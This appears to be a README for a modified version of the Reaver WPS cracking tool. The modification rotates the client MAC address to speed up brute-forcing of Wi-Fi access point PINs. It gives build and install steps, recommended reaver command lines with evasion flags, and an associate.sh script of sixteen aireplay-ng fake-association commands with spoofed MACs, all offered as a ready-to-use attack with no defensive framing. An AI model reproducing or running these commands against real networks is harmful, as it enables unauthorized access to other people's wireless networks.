REAVER WPS modified version with MAC Address last character changer to speed up the attack.
Well, some times the AP will reject the "EAPOL Request" after a success pin try. I made some tests with simultaneous reaver instances running with different MACs (the -m argument), and when one instance gets "WARNING: Receive timeout occurred", the other gets "Received identity request" and continue the cracking.
The problem of this method is: The reaver tool doesn't support simultaneous instances (ok, I read the FAQ about it). If you run two reaver instances, by example, the two instances will try the same pin at the same time.
I made some changes on the reaver source code. Look the output after my changes:

...
On the first try, reaver is using the client MAC "BC:99:47:B7:03:E9" (it is not a real MAC, I'm just using for the example), on the second, "BC:99:47:B7:03:E8", on the third, "BC:99:47:B7:03:E7". Well, after the use of the MAC "BC:99:47:B7:03:E0", reaver will start again on "BC:99:47:B7:03:E9".

With this method: (13 seconds/pin) Without this method: (31 seconds/pin)

Install Required Libraries and Tools
sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev
Build Reaver
cd reaver-1.4-mac-changer
cd src
./configure
make
Install Reaver
sudo make install
reaver -i mon0 -b AA:BB:CC:DD:EE:FF -M
or
reaver -i mon0 -b AA:BB:CC:DD:EE:FF --mac-changer
What I recommend:
reaver -i mon0 -b AA:BB:CC:DD:EE:FF --mac-changer --no-nacks --win7 --no-associate -vv
To associate more effectively, I recommend to use aireplay-ng tool. Create a "associate.sh" file, and put this inside:
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZF &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZE &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZD &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZC &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZB &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZA &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z9 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z8 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z7 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z6 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z5 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z4 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z3 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z2 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z1 &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z0 &
PS: Change AA:BB:CC:DD:EE:FF to the BSSID and ZZ:ZZ:ZZ:ZZ:ZZ:Z to your MAC (without the last digit).
Before using reaver tool, just type "sh associate.sh". To kill all the aireplay-ng, type "killall aireplay-ng".
